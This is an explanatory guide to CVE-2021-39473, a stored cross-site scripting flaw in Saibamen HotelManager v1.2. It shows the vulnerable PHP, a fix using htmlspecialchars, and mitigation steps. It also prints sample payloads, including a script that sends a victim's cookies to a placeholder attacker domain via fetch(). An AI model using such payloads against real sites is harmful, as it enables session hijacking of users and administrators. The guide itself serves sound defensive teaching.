If you use or manage a website running Saibamen HotelManager v1.2, you need to know about CVE-2021-39473. This vulnerability makes it possible for an attacker to inject malicious scripts into web pages using the comment and contact fields due to a lack of proper input sanitization. In this guide, we’ll break down the problem, look at the code, show you how exploitation works, and point you to handy references.

What is CVE-2021-39473?

CVE-2021-39473 is the ID for a Cross Site Scripting (XSS) vulnerability in Saibamen HotelManager version 1.2. Due to poor sanitization in comment and contact forms, an attacker can insert JavaScript code, which the application then unwittingly stores and serves back to users — including administrators.

Trick admins into running malicious requests

If your hotel management system is exposed online, an attacker could easily target your guests or staff with malware or phishing.

How Does the Flaw Work?

The root of the issue: The app takes input from users (in fields like “comment” and “contact”), stores it in the system, and displays it in the frontend without sanitizing or escaping special HTML/JavaScript characters.

Let’s say someone submits a comment

<script>alert('Hacked!')</script>


If the app puts this in the guestbook or contact area as-is, every visitor to that page sees an alert box. But a real attacker would do more — like stealing login cookies!

Name: Evil User

- Comment: <script>alert('Hacked by XSS!')</script>

The script runs! You see a pop-up alert.

If you replace the alert with something sneakier (like cookie-stealing JS), you could harvest session tokens.

Example Attack Payload

<script>
  // Send victim's cookies to attacker's server
  fetch('https://your-bad-domain.com/?cookie='; + document.cookie);
</script>

Here’s a basic look at the kind of code that’s vulnerable (simplified for clarity)

// Vulnerable Code: Receives and directly prints user input

// Assuming $comment is taken from POST data
$comment = $_POST['comment'];

echo "<div>User comment: $comment</div>";

No escaping, no sanitization! If the comment contains HTML tags, they’ll be rendered, not shown as harmless text.

Safer code should look like

$comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
echo "<div>User comment: $comment</div>";


This ensures any HTML/JS is shown as text, not executed.

How to Fix It

1. Escape output:  
Always use htmlspecialchars() or similar functions when printing user content.

2. Sanitize input:  
Filter and clean form inputs before saving.

3. Update software:  
If you’re still on HotelManager v1.2, apply any official patches or consider upgrading to a more secure platform.

References

- NVD Database Entry for CVE-2021-39473
- Exploit-DB - Saibamen HotelManager v1.2 - Persistent Cross Site Scripting (XSS)
- OWASP XSS Prevention Cheat Sheet
- PHP htmlspecialchars() function

Final Thoughts

XSS bugs like CVE-2021-39473 are easy for attackers to find and exploit, but also (thankfully) straightforward to fix. If you run Saibamen HotelManager, review your code and forms immediately. Whenever you handle user input — sanitize it before you store, and escape before you display. Stay secure!

Timeline

Published on: 11/04/2022 19:15:00 UTC
Last modified on: 11/07/2022 02:20:00 UTC